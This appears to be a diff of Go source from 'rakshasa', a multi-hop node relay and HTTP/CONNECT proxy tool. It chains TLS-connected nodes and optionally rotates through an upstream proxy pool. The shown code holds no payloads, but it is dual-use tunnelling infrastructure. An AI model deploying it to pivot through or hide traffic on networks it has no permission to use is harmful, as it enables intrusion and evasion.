if msg.To == common.NoneUUID.String() && c.node == nil {
|
||||
c.inChan <- func() {
|
||||
newNode := &node{
|
||||
conn: c,
|
||||
}
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else if msg.To == currentNode.uuid {
|
||||
func() {
|
||||
l := clientLock.RLock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
l.RUnlock()
|
||||
if ok && v.port > 0 {
|
||||
c.inChan <- func() {
|
||||
v.do(msg)
|
||||
}
|
||||
} else {
|
||||
l := clientLock.Lock()
|
||||
v, ok := nodeMap[msg.From]
|
||||
if !ok {
|
||||
newNode := &node{
|
||||
uuid: msg.From,
|
||||
conn: c,
|
||||
waitMsg: []*common.Msg{msg},
|
||||
}
|
||||
result := make(chan interface{}, 1)
|
||||
id := newNode.storeQuery(result)
|
||||
nodeMap[msg.From] = newNode
|
||||
l.Unlock()
|
||||
newNode.Write(common.CMD_GET_CURRENT_NODE, id, []byte{1}) //获取丢失节点的信息
|
||||
go func() {
|
||||
defer newNode.deleteQuery(id)
|
||||
select {
|
||||
case res := <-result:
|
||||
if res == nil {
|
||||
|
||||
for _, m := range newNode.waitMsg {
|
||||
c.inChan <- func() {
|
||||
newNode.do(m)
|
||||
}
|
||||
}
|
||||
}
|
||||
case <-time.After(common.CMD_TIMEOUT):
|
||||
newNode.Delete("超时")
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
if msg.CmdOpteion == common.CMD_GET_CURRENT_NODE_RESULT {
|
||||
|
||||
var res chan interface{}
|
||||
if _v, ok := v.loadQuery(msg.CmdId); !ok {
|
||||
return
|
||||
} else {
|
||||
res = _v
|
||||
}
|
||||
|
||||
var nmsg nodeMsg
|
||||
err = json.Unmarshal(msg.CmdData, &nmsg)
|
||||
if err != nil {
|
||||
res <- err
|
||||
return
|
||||
}
|
||||
|
||||
v.hostName = nmsg.HostName
|
||||
v.uuid = nmsg.UUID
|
||||
v.port = nmsg.Port
|
||||
v.mainIp = nmsg.MainIp
|
||||
v.goos = nmsg.Goos
|
||||
if nmsg.Addr != "" {
|
||||
v.addr = nmsg.Addr
|
||||
}
|
||||
res <- nil
|
||||
} else {
|
||||
v.waitMsg = append(v.waitMsg, msg)
|
||||
}
|
||||
|
||||
l.Unlock()
|
||||
}
|
||||
|
||||
}
|
||||
}()
|
||||
|
||||
} else {
|
||||
|
||||
key := msg.From + "_" + strconv.Itoa(int(msg.MsgId))
|
||||
msg.Ttl++
|
||||
if _, ok := broadcastMap.LoadOrStore(key, struct{}{}); !ok {
|
||||
|
||||
if msg.From != currentNode.uuid && msg.To == common.BroadcastUUID.String() && msg.Ttl < 250 { //广播
|
||||
go allNodesDo(func(_n *node) (bool, error) {
|
||||
if _n.uuid != currentNode.uuid {
|
||||
_n.WriteMsg(msg)
|
||||
}
|
||||
return true, nil
|
||||
})
|
||||
newNode := &node{
|
||||
conn: c,
|
||||
}
|
||||
c.inChan <- func() {
|
||||
newNode.do(msg)
|
||||
}
|
||||
} else {
|
||||
c.WriteToUUID(msg)
|
||||
}
|
||||
time.AfterFunc(time.Hour, func() {
|
||||
broadcastMap.Delete(key)
|
||||
})
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Conn) handle() {
|
||||
c.OutChan = make(chan []byte, 64)
|
||||
c.inChan = make(chan func())
|
||||
|
||||
c.close = make(chan string, 999)
|
||||
|
||||
go func() {
|
||||
for {
|
||||
select {
|
||||
case f := <-c.inChan:
|
||||
f()
|
||||
//c.do(b)
|
||||
case b := <-c.OutChan:
|
||||
|
||||
if c.closeTag == 0 {
|
||||
c.tlsWrite(b)
|
||||
//var err error
|
||||
for i := 0; i < len(c.OutChan); i++ {
|
||||
|
||||
c.tlsWrite(<-c.OutChan)
|
||||
}
|
||||
}
|
||||
|
||||
case reason := <-c.close:
|
||||
c.OutChan = upNodeWrite
|
||||
if c.node != nil && c.node.nextPingTime > time.Now().Unix()+5 {
|
||||
c.node.ping(0)
|
||||
c.node.nextPingTime = time.Now().Unix() + 5
|
||||
}
|
||||
func() { //返回false则退出handle
|
||||
connMap.Delete(c.remoteAddr)
|
||||
l := clientLock.Lock()
|
||||
defer func() {
|
||||
l.Unlock()
|
||||
}()
|
||||
|
||||
if atomic.CompareAndSwapInt32(&c.closeTag, 0, 1) {
|
||||
if common.Debug {
|
||||
fmt.Println(c.nodeConn.RemoteAddr().String(), "关闭原因", reason)
|
||||
}
|
||||
if c.nodeConn != nil {
|
||||
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
if c.node != nil {
|
||||
//移除上游连接
|
||||
for i := len(upLevelNode) - 1; i >= 0; i-- {
|
||||
n := upLevelNode[i]
|
||||
if n.uuid == c.node.uuid {
|
||||
upLevelNode = append(upLevelNode[:i], upLevelNode[i+1:]...)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return
|
||||
}()
|
||||
return
|
||||
}
|
||||
}
|
||||
}()
|
||||
|
||||
}
|
||||
func (c *Conn) reg() error {
|
||||
|
||||
if c.nodeConn != nil {
|
||||
c.nodeConn.Close()
|
||||
}
|
||||
|
||||
var err error
|
||||
|
||||
c.nodeConn, err = tls.Dial("tcp", c.nodeaddr, cert.Tlsconfig.Clone())
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
|
||||
reg := common.RegMsg{
|
||||
RegAddr: c.nodeaddr,
|
||||
Addr: currentNode.addr,
|
||||
UUID: currentNode.uuid,
|
||||
MainIp: currentNode.mainIp,
|
||||
Port: currentNode.port,
|
||||
Goos: currentNode.goos,
|
||||
}
|
||||
reg.Hostname, _ = os.Hostname()
|
||||
|
||||
regb, _ := json.Marshal(reg)
|
||||
msg := common.Msg{
|
||||
From: currentNode.uuid,
|
||||
To: common.NoneUUID.String(),
|
||||
CmdOpteion: common.CMD_REG,
|
||||
CmdData: regb,
|
||||
}
|
||||
|
||||
if err = c.tlsWrite(msg.Marshal()); err != nil {
|
||||
return err
|
||||
}
|
||||
go c.handlerNodeRead()
|
||||
return nil
|
||||
}
|
||||
func (c *Conn) WriteToUUID(msg *common.Msg) {
|
||||
|
||||
l := clientLock.RLock()
|
||||
defer l.RUnlock()
|
||||
|
||||
if n, ok := nodeMap[msg.To]; ok {
|
||||
n.WriteMsg(msg)
|
||||
}
|
||||
}
|
||||
|
||||
func (c *Conn) Write(b []byte) {
|
||||
|
||||
c.OutChan <- b
|
||||
}
|
||||
|
||||
func (c *Conn) tlsWrite(b []byte) error {
|
||||
c.nodeConn.SetWriteDeadline(time.Now().Add(common.WRITE_DEADLINE))
|
||||
n, err := c.nodeConn.Write(b)
|
||||
if common.Debug {
|
||||
fmt.Println("tlsWrite发送", n)
|
||||
}
|
||||
if err != nil {
|
||||
c.Close("Write " + err.Error())
|
||||
upNodeWrite <- b
|
||||
}
|
||||
return err
|
||||
}
|
||||
@@ -0,0 +1,605 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"fmt"
|
||||
"hash/crc32"
|
||||
"log"
|
||||
"net"
|
||||
"net/url"
|
||||
"os"
|
||||
"rakshasa/common"
|
||||
"rakshasa/httppool"
|
||||
"runtime/debug"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
|
||||
"github.com/luyu6056/ishell"
|
||||
)
|
||||
|
||||
const CheckProxyUrl = "https://myip.fireflysoft.net/"
|
||||
|
||||
type httpProxyClient struct {
|
||||
windowsSize int64
|
||||
isclose int32
|
||||
conn net.Conn
|
||||
udpconn net.Conn
|
||||
|
||||
remote int32
|
||||
server *node
|
||||
id uint32
|
||||
wait chan int
|
||||
close string
|
||||
|
||||
udpMap sync.Map
|
||||
listenId uint32
|
||||
localAddr string
|
||||
isConnect bool
|
||||
method string
|
||||
cfg *common.Addr
|
||||
pool *httppool.HttpPool
|
||||
remoteAddr string
|
||||
remotePort string
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Write(b []byte) {
|
||||
|
||||
switch b[0] {
|
||||
|
||||
case common.CMD_CONNECT_BYIDADDR_RESULT:
|
||||
|
||||
switch common.NetWork(b[1]) {
|
||||
|
||||
case common.RAW_TCP:
|
||||
if b[2] != 1 {
|
||||
go func() { s.Close("") }()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
case common.RAW_TCP_WITH_PROXY:
|
||||
|
||||
if b[2] != 1 {
|
||||
//重新拉取一个池
|
||||
s.connect()
|
||||
} else if s.method == "CONNECT" {
|
||||
s.conn.Write([]byte("HTTP/1.0 200 Connection established\r\n\r\n"))
|
||||
}
|
||||
default:
|
||||
log.Println("未处理")
|
||||
}
|
||||
|
||||
case common.CMD_CONN_MSG:
|
||||
if common.Debug {
|
||||
|
||||
fmt.Println("收到", crc32.ChecksumIEEE(b[1:]), len(b[1:]))
|
||||
}
|
||||
s.conn.Write(b[1:])
|
||||
s.Addwindow(int64(-len(b[1:])))
|
||||
default:
|
||||
log.Println("未处理")
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Close(msg string) {
|
||||
if atomic.CompareAndSwapInt32(&s.isclose, 0, 1) {
|
||||
|
||||
<-s.wait
|
||||
s.wait <- common.CONN_STATUS_CLOSE
|
||||
|
||||
s.server.connMap.Delete(s.id)
|
||||
|
||||
if msg == "" {
|
||||
msg = "未知关闭"
|
||||
}
|
||||
s.close = msg
|
||||
if msg == remoteClose {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
} else if s.remote == CONN_REMOTE_OPEN {
|
||||
s.remote = CONN_REMOTE_CLOSE
|
||||
s.Remoteclose()
|
||||
}
|
||||
if common.Debug {
|
||||
fmt.Println("close 原因", msg)
|
||||
}
|
||||
s.conn.Close()
|
||||
if s.udpconn != nil {
|
||||
s.udpconn.Close()
|
||||
}
|
||||
s.udpMap.Range(func(k, _ interface{}) bool {
|
||||
s.udpMap.Delete(k)
|
||||
return true
|
||||
})
|
||||
}
|
||||
|
||||
}
|
||||
func (s *httpProxyClient) Addwindow(window int64) {
|
||||
|
||||
windows_size := atomic.AddInt64(&s.windowsSize, window)
|
||||
windows_update_size := int64(common.INIT_WINDOWS_SIZE)
|
||||
|
||||
if windows_size < windows_update_size/2 { //扩大窗口
|
||||
if size := windows_update_size - s.windowsSize; size > 0 {
|
||||
atomic.AddInt64(&s.windowsSize, size)
|
||||
|
||||
go func() {
|
||||
buf := make([]byte, 8)
|
||||
buf[0] = byte(size & 255)
|
||||
buf[1] = byte(size >> 8 & 255)
|
||||
buf[2] = byte(size >> 16 & 255)
|
||||
buf[3] = byte(size >> 24 & 255)
|
||||
buf[4] = byte(size >> 32 & 255)
|
||||
buf[5] = byte(size >> 40 & 255)
|
||||
buf[6] = byte(size >> 48 & 255)
|
||||
buf[7] = byte(size >> 56 & 255)
|
||||
s.server.Write(common.CMD_WINDOWS_UPDATE, s.id, buf)
|
||||
}()
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func StartHttpProxy(cfg *common.Addr, dst []string, poolfile string) error {
|
||||
var pool *httppool.HttpPool
|
||||
var err error
|
||||
if poolfile != "" {
|
||||
pool, err = httppool.HttpPoolInit(poolfile)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
var target *node
|
||||
|
||||
if len(dst) == 0 {
|
||||
target = currentNode
|
||||
} else {
|
||||
target, err = GetNodeFromAddrs(dst)
|
||||
if err != nil {
|
||||
return err
|
||||
}
|
||||
}
|
||||
|
||||
l := &clientListen{
|
||||
server: target,
|
||||
localAddr: cfg.Addr(),
|
||||
id: common.GetID(),
|
||||
typ: "http",
|
||||
}
|
||||
l.listen, err = StartHttpProxyWithServer(cfg, target, l.id, pool)
|
||||
if err != nil {
|
||||
|
||||
return err
|
||||
}
|
||||
|
||||
currentNode.listenMap.Store(l.id, l)
|
||||
return nil
|
||||
}
|
||||
func StartHttpProxyWithServer(cfg *common.Addr, n *node, id uint32, pool *httppool.HttpPool) (net.Listener, error) {
|
||||
l, err := net.Listen("tcp", cfg.Addr())
|
||||
if err != nil {
|
||||
return nil, err
|
||||
}
|
||||
|
||||
fmt.Println("httpproxy start ", cfg.Addr())
|
||||
go func() {
|
||||
for {
|
||||
conn, err := l.Accept()
|
||||
if err != nil {
|
||||
if err.(*net.OpError).Err == net.ErrClosed {
|
||||
return
|
||||
}
|
||||
continue
|
||||
}
|
||||
|
||||
s := &httpProxyClient{
|
||||
cfg: cfg,
|
||||
conn: conn,
|
||||
server: n,
|
||||
listenId: id,
|
||||
pool: pool,
|
||||
}
|
||||
|
||||
go handleHttpProxyLocal(s)
|
||||
|
||||
}
|
||||
}()
|
||||
return l, nil
|
||||
}
|
||||
func (s *httpProxyClient) OnOpened() (close bool) {
|
||||
s.wait = make(chan int, 1)
|
||||
s.remote = CONN_REMOTE_OPEN
|
||||
s.windowsSize = 0
|
||||
s.wait <- common.CONN_STATUS_OK
|
||||
|
||||
return
|
||||
}
|
||||
|
||||
// 监听本地服务
|
||||
func handleHttpProxyLocal(s *httpProxyClient) {
|
||||
defer func() {
|
||||
if err := recover(); err != nil {
|
||||
fmt.Println(err)
|
||||
debug.PrintStack()
|
||||
}
|
||||
}()
|
||||
b := make([]byte, common.MAX_PLAINTEXT-8)
|
||||
if s.OnOpened() {
|
||||
s.Close("无法获得服务器连接")
|
||||
}
|
||||
var data []byte
|
||||
var req = &http1request{}
|
||||
for {
|
||||
n, err := s.conn.Read(b)
|
||||
if err != nil {
|
||||
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
data = append(data, b[:n]...)
|
||||
//尝试读取一个http消息
|
||||
l, _, err := parsereq(req, data)
|
||||
if err != nil {
|
||||
return
|
||||
} else if l == 0 {
|
||||
continue
|
||||
}
|
||||
//判断用户名密码
|
||||
if s.cfg.GetHttpAuthorizationHeader() != "" {
|
||||
var authorize bool
|
||||
for _, herder := range req.header {
|
||||
|
||||
if herder == s.cfg.GetHttpAuthorizationHeader() {
|
||||
authorize = true
|
||||
break
|
||||
}
|
||||
}
|
||||
if !authorize {
|
||||
s.conn.Write([]byte("HTTP/1.0 407 Proxy Authentication Required\r\nProxy-Authenticate: Basic realm=\"Access to internal site\"\r\nContent-Length: 0\r\n\r\n"))
|
||||
continue
|
||||
}
|
||||
|
||||
}
|
||||
data = data[l:]
|
||||
switch req.method {
|
||||
case "GET":
|
||||
if u, err := url.Parse(req.uri); err == nil {
|
||||
if i := strings.IndexByte(u.Host, ':'); i > -1 {
|
||||
s.remoteAddr = u.Host[:i]
|
||||
s.remotePort = u.Host[i+1:]
|
||||
} else {
|
||||
s.remoteAddr = u.Host
|
||||
s.remotePort = "80"
|
||||
}
|
||||
s.connect()
|
||||
buf := bufPool.Get().(*bytes.Buffer)
|
||||
buf.Reset()
|
||||
buf.WriteString("GET ")
|
||||
buf.WriteString(req.uri)
|
||||
buf.WriteString(" HTTP/1.1\r\n")
|
||||
for _, header := range req.header {
|
||||
buf.WriteString(header)
|
||||
buf.WriteString("\r\n")
|
||||
}
|
||||
buf.WriteString("\r\n")
|
||||
|
||||
s.write2connect(buf.Bytes())
|
||||
buf.Reset()
|
||||
bufPool.Put(buf)
|
||||
return
|
||||
} else {
|
||||
return
|
||||
}
|
||||
case "CONNECT":
|
||||
s.method = "CONNECT"
|
||||
if i := strings.IndexByte(req.uri, ':'); i > -1 {
|
||||
s.remoteAddr = req.uri[:i]
|
||||
s.remotePort = req.uri[i+1:]
|
||||
s.connect()
|
||||
} else {
|
||||
return
|
||||
}
|
||||
|
||||
for {
|
||||
n, err = s.conn.Read(b)
|
||||
if err != nil {
|
||||
s.Close(err.Error())
|
||||
return
|
||||
}
|
||||
|
||||
s.write2connect(b[:n])
|
||||
}
|
||||
default:
|
||||
if common.Debug {
|
||||
fmt.Println("http_proxy 未处理method ", req.method)
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
func (s *httpProxyClient) write2connect(data []byte) {
|
||||
var new_size int64
|
||||
if new_size = int64(common.INIT_WINDOWS_SIZE) - s.windowsSize; new_size > 0 { //扩大窗口
|
||||
atomic.AddInt64(&s.windowsSize, new_size)
|
||||
|
||||
} else {
|
||||
new_size = 0
|
||||
}
|
||||
outdata := make([]byte, 8)
|
||||
outdata[0] = byte(new_size)
|
||||
outdata[1] = byte(new_size >> 8)
|
||||
outdata[2] = byte(new_size >> 16)
|
||||
outdata[3] = byte(new_size >> 24)
|
||||
outdata[4] = byte(new_size >> 32)
|
||||
outdata[5] = byte(new_size >> 40)
|
||||
outdata[6] = byte(new_size >> 48)
|
||||
outdata[7] = byte(new_size >> 56)
|
||||
if common.Debug {
|
||||
fmt.Println("发送", crc32.ChecksumIEEE(data), len(data))
|
||||
}
|
||||
s.server.Write(common.CMD_CONN_MSG, s.id, append(outdata, data...))
|
||||
}
|
||||
func (s *httpProxyClient) connect() {
|
||||
if !s.isConnect {
|
||||
|
||||
buf := make([]byte, 2+len(s.remoteAddr)+len(s.remotePort))
|
||||
s.id = s.server.storeConn(s)
|
||||
buf[0] = byte(common.RAW_TCP)
|
||||
copy(buf[1:], s.remoteAddr)
|
||||
buf[1+len(s.remoteAddr)] = ':'
|
||||
copy(buf[2+len(s.remoteAddr):], s.remotePort)
|
||||
//添加代理信息
|
||||
if s.pool != nil {
|
||||
proxy := s.pool.Next()
|
||||
buf[0] = byte(common.RAW_TCP_WITH_PROXY)
|
||||
buf = append(buf, []byte(" "+proxy.String())...)
|
||||
}
|
||||
s.server.Write(common.CMD_CONNECT_BYIDADDR, s.id, buf)
|
||||
if value, ok := s.server.listenMap.Load(s.listenId); ok {
|
||||
switch v := value.(type) {
|
||||
case *serverListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
case *clientListen:
|
||||
v.connMap.Store(s.id, s)
|
||||
}
|
||||
}
|
||||
s.isConnect = true
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
func (s *httpProxyClient) Remoteclose() {
|
||||
|
||||
s.close = "本地要求远程关闭"
|
||||
|
||||
buf := make([]byte, 4)
|
||||
buf[0] = byte(s.id)
|
||||
buf[1] = byte(s.id >> 8)
|
||||
buf[2] = byte(s.id >> 16)
|
||||
buf[3] = byte(s.id >> 24)
|
||||
s.server.Write(common.CMD_DELETE_LISTENCONN_BYID, s.listenId, buf)
|
||||
|
||||
}
|
||||
func init() {
|
||||
|
||||
httpShell := cliInit()
|
||||
httpShell.SetPrompt("rakshasa\\httpproxy>")
|
||||
httpShell.AddCmd(&ishell.Cmd{
|
||||
Name: "list",
|
||||
Help: "列出当前监听的ID和其他信息",
|
||||
Func: func(c *ishell.Context) {
|
||||
var list []*clientListen
|
||||
currentNode.listenMap.Range(func(key, value interface{}) bool {
|
||||
if v, ok := value.(*clientListen); ok {
|
||||
list = append(list, v)
|
||||
}
|
||||
return true
|
||||
})
|
||||
orderClientListen(list)
|
||||
fmt.Println("当前连接数量:", len(list))
|
||||
for _, v := range list {
|
||||
fmt.Println("ID", v.id, "本地端口", v.localAddr, "转发服务器uuid", v.server.uuid)
|
||||
}
|
||||
},
|
||||
})
|
||||
httpShell.AddCmd(&ishell.Cmd{
|
||||
Name: "new-httpproxy",
|
||||
Help: "新建一个httpProxy连接,使用方法 new-httpproxy 配置字串符 目标服务器 代理池文件 如 new-httpproxy admin:[email protected]:8080 127.0.0.1:8881,127.0.0.1:8882 out.txt",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) < 1 {
|
||||
c.Println("参数错误,例子 new-httpproxy admin:[email protected]:8080 127.0.0.1:1081,127.0.0.1:1082 out.txt")
|
||||
return
|
||||
}
|
||||
cfg, err := common.ParseAddr(c.Args[0])
|
||||
if err != nil {
|
||||
c.Println(err)
|
||||
return
|
||||
}
|
||||
nodes := []string{}
|
||||
var filename string
|
||||
if len(c.Args) == 2 {
|
||||
if _, err := os.ReadFile(c.Args[1]); err == nil {
|
||||
filename = c.Args[1]
|
||||
} else {
|
||||
nodes = strings.Split(c.Args[1], ",")
|
||||
}
|
||||
} else if len(c.Args) == 3 {
|
||||
nodes = strings.Split(c.Args[1], ",")
|
||||
filename = c.Args[2]
|
||||
}
|
||||
if err := StartHttpProxy(cfg, nodes, filename); err != nil {
|
||||
c.Println("本地httpProxy启动失败", err)
|
||||
} else {
|
||||
c.Println("本地httpProxy启动成功")
|
||||
}
|
||||
},
|
||||
})
|
||||
httpShell.AddCmd(&ishell.Cmd{
|
||||
Name: "close",
|
||||
Help: "关闭一个socsk5连接,使用方法 close ID",
|
||||
Func: func(c *ishell.Context) {
|
||||
if len(c.Args) != 1 {
|
||||
c.Println("参数错误,例子 close 1")
|
||||
return
|
||||
}
|
||||
id, _ := strconv.Atoi(c.Args[0])
|
||||
var l *clientListen
|
||||
if value, ok := currentNode.listenMap.Load(uint32(id)); ok {
|
||||
if v, ok := value.(*clientListen); ok && v.typ == "http" {
|
||||
l = v
|
||||
}
|
||||
|
||||
}
|
||||
if l == nil {
|
||||
c.Println("没有找到ID为", id, "的连接")
|
||||
} else {
|
||||
l.Close("命令行关闭")
|
||||
l.server.Write(common.CMD_DELETE_LISTEN, l.id, nil)
|
||||
currentNode.listenMap.Delete(uint32(id))
|
||||
|
||||
}
|
||||
},
|
||||
})
|
||||
rootCli.AddCmd(&ishell.Cmd{
|
||||
Name: "httpproxy",
|
||||
Help: "进入httpProxy功能",
|
||||
Func: func(c *ishell.Context) {
|
||||
httpShell.Run()
|
||||
},
|
||||
})
|
||||
}
|
||||
|
||||
type kv struct { //kv键值对
|
||||
key string
|
||||
value string
|
||||
}
|
||||
type http1request struct {
|
||||
Status string
|
||||
|
||||
//解析相关
|
||||
Proto, method string
|
||||
path, query, uri string
|
||||
keep_alive bool
|
||||
header []string //记录整行
|
||||
body []byte
|
||||
//rawdata []byte
|
||||
|
||||
//输出buffer相关
|
||||
//data io.ReadCloser //消息主体
|
||||
//dataSize int //dataSize大于-1就输出,所以要放到最后赋值
|
||||
//out *tls.MsgBuffer //输出消息用buffer,包含header等信息
|
||||
//out1 *tls.MsgBuffer
|
||||
//流水线控制
|
||||
//next *http1request
|
||||
//num int32
|
||||
//alreadyOutHreader bool
|
||||
}
|
||||
|
||||
func (req *http1request) addheader(line string, j int) {
|
||||
if line[:j] == "Proxy-Connection" {
|
||||
req.header = append(req.header, "Connection: "+line[j+2:])
|
||||
req.keep_alive = line[j+2:] == "line[j+2:]"
|
||||
} else {
|
||||
req.header = append(req.header, line)
|
||||
}
|
||||
|
||||
}
|
||||
func parsereq(req *http1request, data []byte) (clen int, resdata []byte, err error) {
|
||||
|
||||
l := len(data)
|
||||
defer func() {
|
||||
if e := recover(); e != nil {
|
||||
err = fmt.Errorf("%+v", e)
|
||||
debug.PrintStack()
|
||||
}
|
||||
|
||||
}()
|
||||
|
||||
// method, path, proto line
|
||||
|
||||
req.Proto = ""
|
||||
var s = 0
|
||||
var line string
|
||||
var firstLine = true
|
||||
req.body = req.body[:0]
|
||||
req.header = req.header[:0]
|
||||
for i, j := 0, 0; j < l; j += i + 2 {
|
||||
i = bytes.IndexByte(data[j:], 13)
|
||||
|
||||
if i == -1 {
|
||||
break //跳出循环,判断是否包体过大
|
||||
}
|
||||
|
||||
line = string(data[j : j+i])
|
||||
if i > 0 {
|
||||
if firstLine {
|
||||
var q = -1
|
||||
i := strings.IndexByte(line, 32)
|
||||
if i > -1 {
|
||||
req.method = line[:i]
|
||||
line = line[i+1:]
|
||||
for i, v := range line {
|
||||
if v == 63 && q == -1 {
|
||||
q = i
|
||||
} else if v == 32 {
|
||||
if q != -1 {
|
||||
req.path = line[s:q]
|
||||
req.query = line[q+1 : i]
|
||||
} else {
|
||||
req.path = line[s:i]
|
||||
}
|
||||
req.uri = line[s:i]
|
||||
i++
|
||||
req.Proto = line[i:]
|
||||
//判断http返回
|
||||
if req.method == "HTTP/1.1" || req.method == "HTTP/1.0" {
|
||||
/*code, err := strconv.Atoi(req.path)
|
||||
if err == nil {
|
||||
//req.Code = code
|
||||
//req.CodeMsg = req.Proto
|
||||
}*/
|
||||
req.Status = line
|
||||
req.Proto = req.method
|
||||
req.method = ""
|
||||
req.path = ""
|
||||
}
|
||||
break
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
switch req.Proto {
|
||||
case "HTTP/1.0":
|
||||
req.keep_alive = false
|
||||
case "HTTP/1.1":
|
||||
req.keep_alive = true
|
||||
default:
|
||||
return 0, nil, fmt.Errorf("malformed http1request")
|
||||
}
|
||||
firstLine = false
|
||||
} else {
|
||||
k := strings.IndexByte(line, 58)
|
||||
if k > -1 && k < len(line) {
|
||||
req.addheader(line, k)
|
||||
}
|
||||
}
|
||||
} else {
|
||||
|
||||
j += i + 2
|
||||
|
||||
if l-j < clen {
|
||||
return 0, nil, nil
|
||||
}
|
||||
req.body = append(req.body, data[j:j+clen]...)
|
||||
//req.body = append(req.body, data[s:s+clen]...)
|
||||
//req.rawdata = append(req.rawdata, data[:j+clen]...)
|
||||
return j + clen, req.body, nil
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
return 0, nil, nil
|
||||
}
|
||||
@@ -0,0 +1,95 @@
|
||||
package server
|
||||
|
||||
//封装一下易于调试的lock
|
||||
import (
|
||||
"fmt"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
)
|
||||
|
||||
type lock struct {
|
||||
l sync.RWMutex
|
||||
}
|
||||
type unlock struct {
|
||||
key string
|
||||
l *sync.RWMutex
|
||||
}
|
||||
|
||||
func (l *lock) Lock(old ...*unlock) *unlock {
|
||||
u := &unlock{l: &l.l}
|
||||
if len(old) == 1 {
|
||||
u = old[0]
|
||||
}
|
||||
if common.DebugLock {
|
||||
|
||||
_, file, line, _ := runtime.Caller(1)
|
||||
key := file + "行" + strconv.Itoa(line)
|
||||
u.key = key
|
||||
|
||||
var n *int32
|
||||
if v, ok := common.DebugLockMap.Load(key); ok {
|
||||
n = v.(*int32)
|
||||
} else {
|
||||
a := int32(0)
|
||||
n = &a
|
||||
common.DebugLockMap.Store(key, n)
|
||||
}
|
||||
atomic.AddInt32(n, 1)
|
||||
}
|
||||
|
||||
l.l.Lock()
|
||||
return u
|
||||
}
|
||||
func (l *lock) RLock(old ...*unlock) *unlock {
|
||||
u := &unlock{l: &l.l}
|
||||
if len(old) == 1 {
|
||||
u = old[0]
|
||||
}
|
||||
if common.DebugLock {
|
||||
|
||||
_, file, line, _ := runtime.Caller(1)
|
||||
key := file + "行" + strconv.Itoa(line)
|
||||
u.key = key
|
||||
var n *int32
|
||||
if v, ok := common.DebugLockMap.Load(key); ok {
|
||||
n = v.(*int32)
|
||||
} else {
|
||||
a := int32(0)
|
||||
n = &a
|
||||
common.DebugLockMap.Store(key, n)
|
||||
}
|
||||
atomic.AddInt32(n, 1)
|
||||
}
|
||||
|
||||
l.l.RLock()
|
||||
return u
|
||||
}
|
||||
func (l *unlock) Unlock() {
|
||||
if common.DebugLock {
|
||||
if v, ok := common.DebugLockMap.Load(l.key); ok {
|
||||
atomic.AddInt32(v.(*int32), -1)
|
||||
} else {
|
||||
panic("")
|
||||
}
|
||||
}
|
||||
l.l.Unlock()
|
||||
}
|
||||
func (l *unlock) RUnlock() {
|
||||
if common.DebugLock {
|
||||
if v, ok := common.DebugLockMap.Load(l.key); ok {
|
||||
atomic.AddInt32(v.(*int32), -1)
|
||||
} else {
|
||||
panic("")
|
||||
}
|
||||
}
|
||||
l.l.RUnlock()
|
||||
}
|
||||
func printLock() {
|
||||
common.DebugLockMap.Range(func(key, value interface{}) bool {
|
||||
fmt.Println(key, *value.(*int32))
|
||||
return true
|
||||
})
|
||||
}
|
||||
+1379
@@ -0,0 +1,1379 @@
|
||||
package server
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"crypto/tls"
|
||||
"encoding/json"
|
||||
"errors"
|
||||
"fmt"
|
||||
uuid2 "github.com/google/uuid"
|
||||
"io"
|
||||
"io/ioutil"
|
||||
"math/rand"
|
||||
"net"
|
||||
"os"
|
||||
"rakshasa/cert"
|
||||
"rakshasa/common"
|
||||
"runtime"
|
||||
"strconv"
|
||||
"strings"
|
||||
"sync"
|
||||
"sync/atomic"
|
||||
"time"
|
||||
"unsafe"
|
||||
)
|
||||
|
||||
var (
|
||||
currentNode = &node{uuid: uuid2.New().String()}
|
||||
clientLock = &lock{}
|
||||
nodeMap = make(map[string]*node)
|
||||
upLevelNode []*node //上游节点
|
||||
upNodeWrite = make(chan []byte, 999)
|
||||
extNodeIp []string
|
||||
connMap sync.Map
|
||||
)
|
||||
|
||||
func InitCurrentNode() {
|
||||
s := unsafe.Sizeof(uintptr(1))
|
||||
bit := " x32"
|
||||
if s == 8 {
|
||||
bit = " x64"
|
||||
}
|
||||
rand.Seed(time.Now().Unix())
|
||||
currentNode.hostName, _ = os.Hostname()
|
||||
if ip, _ := common.ExternalIP(); ip != nil {
|
||||
currentNode.addr = ip.String()
|
||||
}
|
||||
currentNode.goos = runtime.GOOS + bit
|
||||
currentNode.mirrorNode = &node{
|
||||
id: currentNode.id,
|
||||
uuid: currentNode.uuid,
|
||||
hostName: currentNode.hostName,
|
||||
goos: currentNode.goos,
|
||||
addr: currentNode.addr,
|
||||
}
|
||||
currentNode.mirrorNode.mirrorNode = currentNode
|
||||
nodeMap[currentNode.uuid] = currentNode
|
||||
//fmt.Println("当前节点UUID", currentNode.uuid)
|
||||
go func() {
|
||||
for b := range upNodeWrite {
|
||||
for {
|
||||
ok := func() bool {
|
||||
|
||||
l := clientLock.Lock()
|
||||
defer l.Unlock()
|
||||
|
